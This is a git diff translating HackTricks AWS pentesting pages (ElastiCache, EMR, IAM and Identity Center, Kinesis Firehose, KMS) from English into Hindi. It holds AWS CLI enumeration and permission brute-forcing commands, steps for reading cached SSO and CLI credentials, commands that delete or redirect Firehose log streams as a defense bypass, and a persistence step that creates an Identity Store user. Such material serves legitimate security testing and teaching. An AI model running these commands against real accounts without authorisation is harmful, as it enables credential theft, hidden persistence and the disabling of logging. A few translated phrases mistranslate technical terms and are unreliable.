बनाता है, जिससे डेवलपर्स को प्रावधान, पैचिंग, निगरानी, और **बैकअप** जैसे समय-खपत करने वाले कार्यों को ऑफलोड करने की अनुमति मिलती है। ### Enumeration - ```bash # ElastiCache clusters ## Check the SecurityGroups to later check who can access @@ -39,11 +38,6 @@ aws elasticache describe-users # List ElastiCache events aws elasticache describe-events ``` - -### Privesc (TODO) +### प्रिवेस्क (TODO) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index b05012f3e..9da64b3c2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -4,38 +4,37 @@ ## EMR -AWS's Elastic MapReduce (EMR) service, starting from version 4.8.0, introduced a **security configuration** feature that enhances data protection by allowing users to specify encryption settings for data at rest and in transit within EMR clusters, which are scalable groups of EC2 instances designed to process big data frameworks like Apache Hadoop and Spark. +AWS की Elastic MapReduce (EMR) सेवा, संस्करण 4.8.0 से शुरू होकर, एक **सुरक्षा कॉन्फ़िगरेशन** सुविधा पेश करती है जो डेटा सुरक्षा को बढ़ाती है, जिससे उपयोगकर्ता EMR क्लस्टरों के भीतर डेटा को स्थिर और संचरण के दौरान एन्क्रिप्शन सेटिंग्स निर्दिष्ट कर सकते हैं, जो Apache Hadoop और Spark जैसे बड़े डेटा ढांचे को संसाधित करने के लिए डिज़ाइन किए गए EC2 इंस्टेंस के स्केलेबल समूह हैं। -Key characteristics include: +मुख्य विशेषताएँ शामिल हैं: -- **Cluster Encryption Default**: By default, data at rest within a cluster is not encrypted. However, enabling encryption provides access to several features: - - **Linux Unified Key Setup**: Encrypts EBS cluster volumes. Users can opt for AWS Key Management Service (KMS) or a custom key provider. - - **Open-Source HDFS Encryption**: Offers two encryption options for Hadoop: - - Secure Hadoop RPC (Remote Procedure Call), set to privacy, leveraging the Simple Authentication Security Layer. - - HDFS Block transfer encryption, set to true, utilizes the AES-256 algorithm. -- **Encryption in Transit**: Focuses on securing data during transfer. Options include: - - **Open Source Transport Layer Security (TLS)**: Encryption can be enabled by choosing a certificate provider: - - **PEM**: Requires manual creation and bundling of PEM certificates into a zip file, referenced from an S3 bucket. - - **Custom**: Involves adding a custom Java class as a certificate provider that supplies encryption artifacts. +- **क्लस्टर एन्क्रिप्शन डिफ़ॉल्ट**: डिफ़ॉल्ट रूप से, एक क्लस्टर के भीतर स्थिर डेटा एन्क्रिप्ट नहीं होता है। हालाँकि, एन्क्रिप्शन सक्षम करने से कई सुविधाओं तक पहुँच मिलती है: +- **लिनक्स यूनिफाइड की सेटअप**: EBS क्लस्टर वॉल्यूम को एन्क्रिप्ट करता है। उपयोगकर्ता AWS की की प्रबंधन सेवा (KMS) या एक कस्टम की प्रदाता का विकल्प चुन सकते हैं। +- **ओपन-सोर्स HDFS एन्क्रिप्शन**: Hadoop के लिए दो एन्क्रिप्शन विकल्प प्रदान करता है: +- सुरक्षित Hadoop RPC (रिमोट प्रोसीजर कॉल), गोपनीयता पर सेट, सरल प्रमाणीकरण सुरक्षा परत का लाभ उठाता है। +- HDFS ब्लॉक ट्रांसफर एन्क्रिप्शन, सत्यापित, AES-256 एल्गोरिदम का उपयोग करता है। +- **संचरण में एन्क्रिप्शन**: डेटा को स्थानांतरित करते समय सुरक्षित करने पर ध्यान केंद्रित करता है। विकल्पों में शामिल हैं: +- **ओपन-सोर्स ट्रांसपोर्ट लेयर सिक्योरिटी (TLS)**: एन्क्रिप्शन को सक्षम करने के लिए एक प्रमाणपत्र प्रदाता चुनने की आवश्यकता होती है: +- **PEM**: PEM प्रमाणपत्रों को मैन्युअल रूप से बनाने और एक ज़िप फ़ाइल में बंडल करने की आवश्यकता होती है, जिसे S3 बकेट से संदर्भित किया जाता है। +- **कस्टम**: एक कस्टम जावा क्लास को प्रमाणपत्र प्रदाता के रूप में जोड़ने में शामिल है जो एन्क्रिप्शन आर्टिफैक्ट प्रदान करता है। -Once a TLS certificate provider is integrated into the security configuration, the following application-specific encryption features can be activated, varying based on the EMR version: +एक बार जब TLS प्रमाणपत्र प्रदाता सुरक्षा कॉन्फ़िगरेशन में एकीकृत हो जाता है, तो निम्नलिखित एप्लिकेशन-विशिष्ट एन्क्रिप्शन सुविधाएँ सक्रिय की जा सकती हैं, जो EMR संस्करण के आधार पर भिन्न होती हैं: - **Hadoop**: - - Might reduce encrypted shuffle using TLS. - - Secure Hadoop RPC with Simple Authentication Security Layer and HDFS Block Transfer with AES-256 are activated with at-rest encryption. -- **Presto** (EMR version 5.6.0+): - - Internal communication between Presto nodes is secured using SSL and TLS. -- **Tez Shuffle Handler**: - - Utilizes TLS for encryption. +- TLS का उपयोग करके एन्क्रिप्टेड शफल को कम कर सकता है। +- सरल प्रमाणीकरण सुरक्षा परत और AES-256 के साथ HDFS ब्लॉक ट्रांसफर के साथ सुरक्षित Hadoop RPC को स्थिर एन्क्रिप्शन के साथ सक्रिय किया गया है। +- **Presto** (EMR संस्करण 5.6.0+): +- Presto नोड्स के बीच आंतरिक संचार SSL और TLS का उपयोग करके सुरक्षित किया गया है। +- **Tez शफल हैंडलर**: +- एन्क्रिप्शन के लिए TLS का उपयोग करता है। - **Spark**: - - Employs TLS for the Akka protocol. - - Uses Simple Authentication Security Layer and 3DES for Block Transfer Service. - - External shuffle service is secured with the Simple Authentication Security Layer. +- Akka प्रोटोकॉल के लिए TLS का उपयोग करता है। +- ब्लॉक ट्रांसफर सेवा के लिए सरल प्रमाणीकरण सुरक्षा परत और 3DES का उपयोग करता है। +- बाहरी शफल सेवा को सरल प्रमाणीकरण सुरक्षा परत के साथ सुरक्षित किया गया है। -These features collectively enhance the security posture of EMR clusters, especially concerning data protection during storage and transmission phases. +ये सुविधाएँ सामूहिक रूप से EMR क्लस्टरों की सुरक्षा स्थिति को बढ़ाती हैं, विशेष रूप से भंडारण और संचरण चरणों के दौरान डेटा सुरक्षा के संबंध में। #### Enumeration - ```bash aws emr list-clusters aws emr describe-cluster --cluster-id @@ -46,19 +45,14 @@ aws emr list-notebook-executions aws emr list-security-configurations aws emr list-studios #Get studio URLs ``` - -#### Privesc +#### प्रिवेस्क {{#ref}} ../aws-privilege-escalation/aws-emr-privesc.md {{#endref}} -## References +## संदर्भ - [https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/](https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index 7a430cc17..b52637495 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -4,7 +4,7 @@ ## IAM -You can find a **description of IAM** in: +आप IAM का **विवरण** यहाँ पा सकते हैं: {{#ref}} ../aws-basic-information/ @@ -12,9 +12,9 @@ You can find a **description of IAM** in: ### Enumeration -Main permissions needed: +मुख्य अनुमतियाँ आवश्यक हैं: -- `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion` +- `iam:ListPolicies`, `iam:GetPolicy` और `iam:GetPolicyVersion` - `iam:ListRoles` - `iam:ListUsers` - `iam:ListGroups` @@ -22,10 +22,9 @@ Main permissions needed: - `iam:ListAttachedUserPolicies` - `iam:ListAttachedRolePolicies` - `iam:ListAttachedGroupPolicies` -- `iam:ListUserPolicies` and `iam:GetUserPolicy` -- `iam:ListGroupPolicies` and `iam:GetGroupPolicy` -- `iam:ListRolePolicies` and `iam:GetRolePolicy` - +- `iam:ListUserPolicies` और `iam:GetUserPolicy` +- `iam:ListGroupPolicies` और `iam:GetGroupPolicy` +- `iam:ListRolePolicies` और `iam:GetRolePolicy` ```bash # All IAMs ## Retrieves information about all IAM users, groups, roles, and policies @@ -89,64 +88,54 @@ aws iam get-account-password-policy aws iam list-mfa-devices aws iam list-virtual-mfa-devices ``` - ### Permissions Brute Force -If you are interested in your own permissions but you don't have access to query IAM you could always brute-force them. +यदि आप अपनी अनुमतियों में रुचि रखते हैं लेकिन आपके पास IAM को क्वेरी करने का एक्सेस नहीं है, तो आप हमेशा उन्हें ब्रूट-फोर्स कर सकते हैं। #### bf-aws-permissions -The tool [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) is just a bash script that will run using the indicated profile all the **`list*`, `describe*`, `get*`** actions it can find using `aws` cli help messages and **return the successful executions**. - +टूल [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) बस एक बैश स्क्रिप्ट है जो निर्दिष्ट प्रोफ़ाइल का उपयोग करके सभी **`list*`, `describe*`, `get*`** क्रियाएँ चलाएगी जो इसे `aws` cli सहायता संदेशों का उपयोग करके मिल सकती हैं और **सफल कार्यान्वयन** लौटाएगी। ```bash # Bruteforce permissions bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt ``` - #### bf-aws-perms-simulate -The tool [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) can find your current permission (or the ones of other principals) if you have the permission **`iam:SimulatePrincipalPolicy`** - +उपकरण [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) आपकी वर्तमान अनुमति (या अन्य प्रिंसिपलों की) को खोज सकता है यदि आपके पास अनुमति **`iam:SimulatePrincipalPolicy`** है। ```bash # Ask for permissions python3 aws_permissions_checker.py --profile [--arn ] ``` - #### Perms2ManagedPolicies -If you found **some permissions your user has**, and you think that they are being granted by a **managed AWS role** (and not by a custom one). You can use the tool [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) to check all the **AWS managed roles that grants the permissions you discovered that you have**. - +यदि आपने **कुछ अनुमतियाँ पाई हैं जो आपके उपयोगकर्ता के पास हैं**, और आप सोचते हैं कि ये **प्रबंधित AWS भूमिका** द्वारा दी जा रही हैं (और किसी कस्टम द्वारा नहीं)। आप टूल [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) का उपयोग कर सकते हैं यह जांचने के लिए कि **कौन सी AWS प्रबंधित भूमिकाएँ उन अनुमतियों को प्रदान करती हैं जो आपने खोजी हैं कि आपके पास हैं**। ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt ``` - > [!WARNING] -> It's possible to "know" if the permissions you have are granted by an AWS managed role if you see that **you have permissions over services that aren't used** for example. +> यह संभव है कि आप "जानें" कि आपके पास जो अनुमतियाँ हैं वे AWS प्रबंधित भूमिका द्वारा दी गई हैं यदि आप देखते हैं कि **आपके पास उन सेवाओं पर अनुमतियाँ हैं जो उपयोग में नहीं हैं** उदाहरण के लिए। #### Cloudtrail2IAM -[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) is a Python tool that analyses **AWS CloudTrail logs to extract and summarize actions** done by everyone or just an specific user or role. The tool will **parse every cloudtrail log from the indicated bucket**. - +[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) एक Python उपकरण है जो **AWS CloudTrail लॉग का विश्लेषण करता है ताकि सभी या केवल एक विशिष्ट उपयोगकर्ता या भूमिका द्वारा किए गए कार्यों को निकाला और संक्षेपित किया जा सके**। यह उपकरण **निर्दिष्ट बकेट से हर cloudtrail लॉग को पार्स करेगा**। ```bash git clone https://github.com/carlospolop/Cloudtrail2IAM cd Cloudtrail2IAM pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` - > [!WARNING] -> If you find .tfstate (Terraform state files) or CloudFormation files (these are usually yaml files located inside a bucket with the prefix cf-templates), you can also read them to find aws configuration and find which permissions have been assigned to who. +> यदि आप .tfstate (Terraform स्थिति फ़ाइलें) या CloudFormation फ़ाइलें (ये आमतौर पर एक बकेट के अंदर cf-templates उपसर्ग के साथ स्थित yaml फ़ाइलें होती हैं) पाते हैं, तो आप उन्हें aws कॉन्फ़िगरेशन खोजने और यह पता लगाने के लिए भी पढ़ सकते हैं कि किसे कौन सी अनुमतियाँ दी गई हैं। #### enumerate-iam -To use the tool [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) you first need to download all the API AWS endpoints, from those the script **`generate_bruteforce_tests.py`** will get all the **"list\_", "describe\_", and "get\_" endpoints.** And finally, it will try to **access them** with the given credentials and **indicate if it worked**. +इस उपकरण का उपयोग करने के लिए [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) आपको पहले सभी API AWS एंडपॉइंट्स डाउनलोड करने की आवश्यकता है, जिनमें से स्क्रिप्ट **`generate_bruteforce_tests.py`** सभी **"list\_", "describe\_", और "get\_" एंडपॉइंट्स प्राप्त करेगी।** और अंततः, यह दिए गए क्रेडेंशियल्स के साथ **उन्हें एक्सेस करने की कोशिश करेगी** और **यह बताएगी कि क्या यह सफल रहा।** -(In my experience the **tool hangs at some point**, [**checkout this fix**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) to try to fix that). +(मेरे अनुभव में **उपकरण किसी बिंदु पर लटक जाता है**, [**इस फिक्स को देखें**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) इसे ठीक करने के लिए प्रयास करने के लिए)। > [!WARNING] -> In my experience this tool is like the previous one but working worse and checking less permissions - +> मेरे अनुभव में यह उपकरण पिछले वाले की तरह है लेकिन खराब काम कर रहा है और कम अनुमतियों की जांच कर रहा है। ```bash # Install tool git clone git@github.com:andresriancho/enumerate-iam.git @@ -163,11 +152,9 @@ cd .. # Enumerate permissions python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--session-token SESSION_TOKEN] [--region REGION] ``` - #### weirdAAL -You could also use the tool [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). This tool will check **several common operations on several common services** (will check some enumeration permissions and also some privesc permissions). But it will only check the coded checks (the only way to check more stuff if coding more tests). - +आप टूल [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki) का भी उपयोग कर सकते हैं। यह टूल **कई सामान्य सेवाओं पर कई सामान्य ऑपरेशनों की जांच करेगा** (कुछ enumeration अनुमतियों और कुछ privesc अनुमतियों की भी जांच करेगा)। लेकिन यह केवल कोडेड जांचों की जांच करेगा (अधिक चीजों की जांच करने का एकमात्र तरीका अधिक परीक्षण कोड करना है)। ```bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git @@ -191,12 +178,10 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions # [+] elbv2 Actions allowed are [+] # ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups'] ``` - -#### Hardening Tools to BF permissions +#### BF अनुमतियों को मजबूत करने के उपकरण {{#tabs }} {{#tab name="CloudSploit" }} - ```bash # Export env variables ./index.js --console=text --config ./config.js --json /tmp/out-cloudsploit.json @@ -207,11 +192,9 @@ jq 'map(select(.status | contains("UNKNOWN") | not))' /tmp/out-cloudsploit.json # Get services by regions jq 'group_by(.region) | map({(.[0].region): ([map((.resource | split(":"))[2]) | unique])})' ~/Desktop/pentests/cere/greybox/core-dev-dev-cloudsploit-filtered.json ``` - {{#endtab }} {{#tab name="SteamPipe" }} - ```bash # https://github.com/turbot/steampipe-mod-aws-insights steampipe check all --export=json @@ -220,50 +203,48 @@ steampipe check all --export=json # In this case you cannot output to JSON, so heck it in the dashboard steampipe dashboard ``` - {{#endtab }} {{#endtabs }} #### \ -Neither of the previous tools is capable of checking close to all permissions, so if you know a better tool send a PR! +पिछले किसी भी उपकरण में सभी अनुमतियों की जांच करने की क्षमता नहीं है, इसलिए यदि आप एक बेहतर उपकरण जानते हैं तो PR भेजें! -### Unauthenticated Access +### अनधिकृत पहुंच {{#ref}} ../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### विशेषाधिकार वृद्धि -In the following page you can check how to **abuse IAM permissions to escalate privileges**: +अगली पृष्ठ पर आप **IAM अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** का तरीका देख सकते हैं: {{#ref}} ../aws-privilege-escalation/aws-iam-privesc.md {{#endref}} -### IAM Post Exploitation +### IAM पोस्ट शोषण {{#ref}} ../aws-post-exploitation/aws-iam-post-exploitation.md {{#endref}} -### IAM Persistence +### IAM स्थिरता {{#ref}} ../aws-persistence/aws-iam-persistence.md {{#endref}} -## IAM Identity Center +## IAM पहचान केंद्र -You can find a **description of IAM Identity Center** in: +आप **IAM पहचान केंद्र का विवरण** यहाँ पा सकते हैं: {{#ref}} ../aws-basic-information/ {{#endref}} -### Connect via SSO with CLI - +### CLI के साथ SSO के माध्यम से कनेक्ट करें ```bash # Connect with sso via CLI aws configure sso aws configure sso @@ -274,20 +255,18 @@ sso_account_id = sso_role_name = AdministratorAccess sso_region = us-east-1 ``` - ### Enumeration -The main elements of the Identity Center are: +Identity Center के मुख्य तत्व हैं: -- Users and groups -- Permission Sets: Have policies attached -- AWS Accounts +- उपयोगकर्ता और समूह +- अनुमति सेट: नीतियाँ संलग्न हैं +- AWS खाते -Then, relationships are created so users/groups have Permission Sets over AWS Account. +फिर, संबंध बनाए जाते हैं ताकि उपयोगकर्ता/समूहों के पास AWS खाते पर अनुमति सेट हो। > [!NOTE] -> Note that there are 3 ways to attach policies to a Permission Set. Attaching AWS managed policies, Customer managed policies (these policies needs to be created in all the accounts the Permissions Set is affecting), and inline policies (defined in there). - +> ध्यान दें कि अनुमति सेट पर नीतियाँ संलग्न करने के 3 तरीके हैं। AWS प्रबंधित नीतियों को संलग्न करना, ग्राहक प्रबंधित नीतियाँ (इन नीतियों को उन सभी खातों में बनाना आवश्यक है जिन पर अनुमति सेट प्रभाव डाल रहा है), और इनलाइन नीतियाँ (जो वहाँ परिभाषित हैं)। ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -321,11 +300,9 @@ aws identitystore list-group-memberships --identity-store-id --group- ## Get memberships or a user or a group aws identitystore list-group-memberships-for-member --identity-store-id --member-id ``` - ### Local Enumeration -It's possible to create inside the folder `$HOME/.aws` the file config to configure profiles that are accessible via SSO, for example: - +यह संभव है कि फ़ोल्डर `$HOME/.aws` के अंदर फ़ाइल config बनाई जाए ताकि उन प्रोफाइलों को कॉन्फ़िगर किया जा सके जो SSO के माध्यम से सुलभ हैं, उदाहरण के लिए: ```ini [default] region = us-west-2 @@ -343,20 +320,16 @@ output = json role_arn = arn:aws:iam:::role/ReadOnlyRole source_profile = Hacktricks-Admin ``` - -This configuration can be used with the commands: - +यह कॉन्फ़िगरेशन निम्नलिखित कमांड के साथ उपयोग किया जा सकता है: ```bash # Login in ms-sso-profile aws sso login --profile my-sso-profile # Use dependent-profile aws s3 ls --profile dependent-profile ``` +जब **SSO से प्रोफ़ाइल का उपयोग किया जाता है** कुछ जानकारी तक पहुँचने के लिए, तो क्रेडेंशियल्स **एक फ़ाइल में कैश** किए जाते हैं जो फ़ोल्डर **`$HOME/.aws/sso/cache`** के अंदर होती है। इसलिए इन्हें **वहाँ से पढ़ा और उपयोग किया जा सकता है**। -When a **profile from SSO is used** to access some information, the credentials are **cached** in a file inside the folder **`$HOME/.aws/sso/cache`**. Therefore they can be **read and used from there**. - -Moreover, **more credentials** can be stored in the folder **`$HOME/.aws/cli/cache`**. This cache directory is primarily used when you are **working with AWS CLI profiles** that use IAM user credentials or **assume** roles through IAM (without SSO). Config example: - +इसके अलावा, **अधिक क्रेडेंशियल्स** फ़ोल्डर **`$HOME/.aws/cli/cache`** में संग्रहीत किए जा सकते हैं। यह कैश निर्देशिका मुख्य रूप से तब उपयोग की जाती है जब आप **AWS CLI प्रोफ़ाइल के साथ काम कर रहे हैं** जो IAM उपयोगकर्ता क्रेडेंशियल्स का उपयोग करती हैं या IAM के माध्यम से **रोल्स को मानती हैं** (बिना SSO के)। कॉन्फ़िग उदाहरण: ```ini [profile crossaccountrole] role_arn = arn:aws:iam::234567890123:role/SomeRole @@ -364,43 +337,36 @@ source_profile = default mfa_serial = arn:aws:iam::123456789012:mfa/saanvi external_id = 123456 ``` - -### Unauthenticated Access +### अनधिकृत पहुँच {{#ref}} ../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### विशेषाधिकार वृद्धि {{#ref}} ../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md {{#endref}} -### Post Exploitation +### पोस्ट शोषण {{#ref}} ../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md {{#endref}} -### Persistence - -#### Create a user an assign permissions to it +### स्थिरता +#### एक उपयोगकर्ता बनाएं और उसे अनुमतियाँ सौंपें ```bash # Create user identitystore:CreateUser aws identitystore create-user --identity-store-id --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password ``` +- एक समूह बनाएं और इसे अनुमतियाँ सौंपें और उस पर एक नियंत्रित उपयोगकर्ता सेट करें +- एक नियंत्रित उपयोगकर्ता या समूह को अतिरिक्त अनुमतियाँ दें +- डिफ़ॉल्ट रूप से, केवल प्रबंधन खाते के उपयोगकर्ताओं के पास IAM पहचान केंद्र तक पहुँचने और उसे नियंत्रित करने की अनुमति होगी। -- Create a group and assign it permissions and set on it a controlled user -- Give extra permissions to a controlled user or group -- By default, only users with permissions form the Management Account are going to be able to access and control the IAM Identity Center. - - However, it's possible via Delegate Administrator to allow users from a different account to manage it. They won't have exactly the same permission, but they will be able to perform [**management activities**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). +हालांकि, डेलीगेट एडमिनिस्ट्रेटर के माध्यम से एक अलग खाते के उपयोगकर्ताओं को इसे प्रबंधित करने की अनुमति देना संभव है। उनके पास बिल्कुल वही अनुमति नहीं होगी, लेकिन वे [**प्रबंधन गतिविधियाँ**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) करने में सक्षम होंगे। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index 6ca66b5ed..ae782337f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -4,12 +4,11 @@ ## Kinesis Data Firehose -Amazon Kinesis Data Firehose is a **fully managed service** that facilitates the delivery of **real-time streaming data**. It supports a variety of destinations, including Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, and custom HTTP endpoints. +Amazon Kinesis Data Firehose एक **पूर्ण रूप से प्रबंधित सेवा** है जो **वास्तविक समय स्ट्रीमिंग डेटा** की डिलीवरी को सुविधाजनक बनाती है। यह कई गंतव्यों का समर्थन करता है, जिसमें Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, और कस्टम HTTP एंडपॉइंट शामिल हैं। -The service alleviates the need for writing applications or managing resources by allowing data producers to be configured to forward data directly to Kinesis Data Firehose. This service is responsible for the **automatic delivery of data to the specified destination**. Additionally, Kinesis Data Firehose provides the option to **transform the data prior to its delivery**, enhancing its flexibility and applicability to various use cases. +यह सेवा डेटा उत्पादकों को Kinesis Data Firehose पर डेटा सीधे अग्रेषित करने के लिए कॉन्फ़िगर करने की अनुमति देकर अनुप्रयोगों को लिखने या संसाधनों का प्रबंधन करने की आवश्यकता को कम करती है। यह सेवा **निर्धारित गंतव्य पर डेटा की स्वचालित डिलीवरी** के लिए जिम्मेदार है। इसके अतिरिक्त, Kinesis Data Firehose **डिलीवरी से पहले डेटा को परिवर्तित करने** का विकल्प प्रदान करता है, जिससे इसकी लचीलापन और विभिन्न उपयोग मामलों में अनुप्रयोगिता बढ़ती है। ### Enumeration - ```bash # Get delivery streams aws firehose list-delivery-streams @@ -19,37 +18,26 @@ aws firehose describe-delivery-stream --delivery-stream-name ## Get roles aws firehose describe-delivery-stream --delivery-stream-name | grep -i RoleARN ``` - ## Post-exploitation / Defense Bypass -In case firehose is used to send logs or defense insights, using these functionalities an attacker could prevent it from working properly. +यदि firehose का उपयोग लॉग या रक्षा अंतर्दृष्टि भेजने के लिए किया जाता है, तो इन कार्यात्मकताओं का उपयोग करके एक हमलावर इसे सही तरीके से काम करने से रोक सकता है। ### firehose:DeleteDeliveryStream - ``` aws firehose delete-delivery-stream --delivery-stream-name --allow-force-delete ``` - ### firehose:UpdateDestination - ``` aws firehose update-destination --delivery-stream-name --current-delivery-stream-version-id --destination-id ``` - ### firehose:PutRecord | firehose:PutRecordBatch - ``` aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVsbG8gd29ybGQ="}' aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json ``` - -## References +## संदर्भ - [https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index 543ed31cd..e343a49e1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -4,126 +4,123 @@ ## KMS - Key Management Service -AWS Key Management Service (AWS KMS) is presented as a managed service, simplifying the process for users to **create and manage customer master keys** (CMKs). These CMKs are integral in the encryption of user data. A notable feature of AWS KMS is that CMKs are predominantly **secured by hardware security modules** (HSMs), enhancing the protection of the encryption keys. +AWS Key Management Service (AWS KMS) एक प्रबंधित सेवा के रूप में प्रस्तुत किया गया है, जो उपयोगकर्ताओं के लिए **ग्राहक मास्टर कुंजी** (CMKs) **बनाने और प्रबंधित करने** की प्रक्रिया को सरल बनाता है। ये CMKs उपयोगकर्ता डेटा के एन्क्रिप्शन में महत्वपूर्ण हैं। AWS KMS की एक उल्लेखनीय विशेषता यह है कि CMKs मुख्य रूप से **हार्डवेयर सुरक्षा मॉड्यूल** (HSMs) द्वारा **सुरक्षित** होते हैं, जो एन्क्रिप्शन कुंजियों की सुरक्षा को बढ़ाते हैं। -KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** (for example, inside a S3). If you need to **encrypt information in transit** you need to use something like **TLS**. +KMS **समानांतर क्रिप्टोग्राफी** का उपयोग करता है। इसका उपयोग **जानकारी को आराम से एन्क्रिप्ट करने** के लिए किया जाता है (उदाहरण के लिए, S3 के अंदर)। यदि आपको **जानकारी को ट्रांजिट में एन्क्रिप्ट** करने की आवश्यकता है, तो आपको कुछ ऐसा उपयोग करना होगा जैसे **TLS**। -KMS is a **region specific service**. +KMS एक **क्षेत्र विशेष सेवा** है। -**Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used. +**अमेज़न के प्रशासकों को आपकी कुंजियों तक पहुंच नहीं है**। वे आपकी कुंजियों को पुनर्प्राप्त नहीं कर सकते और वे आपकी कुंजियों के एन्क्रिप्शन में आपकी मदद नहीं करते। AWS केवल ऑपरेटिंग सिस्टम और इसके अंतर्निहित एप्लिकेशन का प्रबंधन करता है, यह हमारे ऊपर है कि हम अपनी एन्क्रिप्शन कुंजियों का प्रबंधन करें और यह प्रबंधित करें कि उन कुंजियों का उपयोग कैसे किया जाता है। -**Customer Master Keys** (CMK): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs (Data Encryption Keys). Then the DEKs are used to encrypt the data. +**ग्राहक मास्टर कुंजी** (CMK): डेटा को 4KB के आकार तक एन्क्रिप्ट कर सकती हैं। इनका उपयोग आमतौर पर DEKs (डेटा एन्क्रिप्शन कुंजी) बनाने, एन्क्रिप्ट करने और डिक्रिप्ट करने के लिए किया जाता है। फिर DEKs का उपयोग डेटा को एन्क्रिप्ट करने के लिए किया जाता है। -A customer master key (CMK) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK. +एक ग्राहक मास्टर कुंजी (CMK) AWS KMS में एक मास्टर कुंजी का तार्किक प्रतिनिधित्व है। मास्टर कुंजी के पहचानकर्ताओं और अन्य मेटाडेटा, जिसमें इसकी निर्माण तिथि, विवरण और कुंजी स्थिति शामिल है, के अलावा, एक **CMK में वह कुंजी सामग्री होती है जिसका उपयोग डेटा को एन्क्रिप्ट और डिक्रिप्ट करने के लिए किया जाता है**। जब आप एक CMK बनाते हैं, तो डिफ़ॉल्ट रूप से, AWS KMS उस CMK के लिए कुंजी सामग्री उत्पन्न करता है। हालाँकि, आप कुंजी सामग्री के बिना एक CMK बनाने का विकल्प चुन सकते हैं और फिर उस CMK में अपनी स्वयं की कुंजी सामग्री आयात कर सकते हैं। -There are 2 types of master keys: +मास्टर कुंजियों के 2 प्रकार हैं: -- **AWS managed CMKs: Used by other services to 